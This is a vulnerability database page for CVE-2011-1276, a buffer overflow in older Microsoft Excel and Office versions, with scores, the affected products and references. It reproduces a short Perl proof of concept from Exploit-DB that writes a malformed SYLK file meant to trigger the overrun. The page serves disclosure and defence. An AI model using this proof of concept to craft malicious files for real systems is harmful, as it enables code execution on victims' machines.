CVE-2011-1276 : Detail

CVE-2011-1276

Overflow
96.72%V3
Network
2011-06-16
18h21 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in Microsoft Excel 2002 SP3, 2003 SP3, and 2007 SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Excel Viewer SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP2 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Excel spreadsheet, related to improper validation of record information, aka "Excel Buffer Overrun Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 17643

Publication date : 2011-08-08 22h00 +00:00
Author : webDEViL
EDB Verified : Yes

# Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC # Date: [date] # Author: webDEViL # Software Link: [download link if available] # Version: [app version] # Tested on: ALL # CVE : CVE-2011-1276 # w3bd3vil[at]gmail[dot]com # twitter.com/w3bd3vil open (FILE, '>>CVE-2011-1276.slk'); print FILE "ID;P\n"; print FILE "P;PAAAA\n"x550; print FILE "P"; close (FILE);

Products Mentioned

Configuraton 0

Microsoft>>Excel >> Version 2002

Microsoft>>Excel >> Version 2003

Microsoft>>Excel >> Version 2007

Microsoft>>Excel_viewer >> Version *

Microsoft>>Office >> Version 2004

Microsoft>>Office >> Version 2008

Microsoft>>Office_compatibility_pack >> Version 2007

Microsoft>>Open_xml_file_format_converter >> Version *

References

http://osvdb.org/72924
Tags : vdb-entry, x_refsource_OSVDB
http://securityreason.com/securityalert/8330
Tags : third-party-advisory, x_refsource_SREASON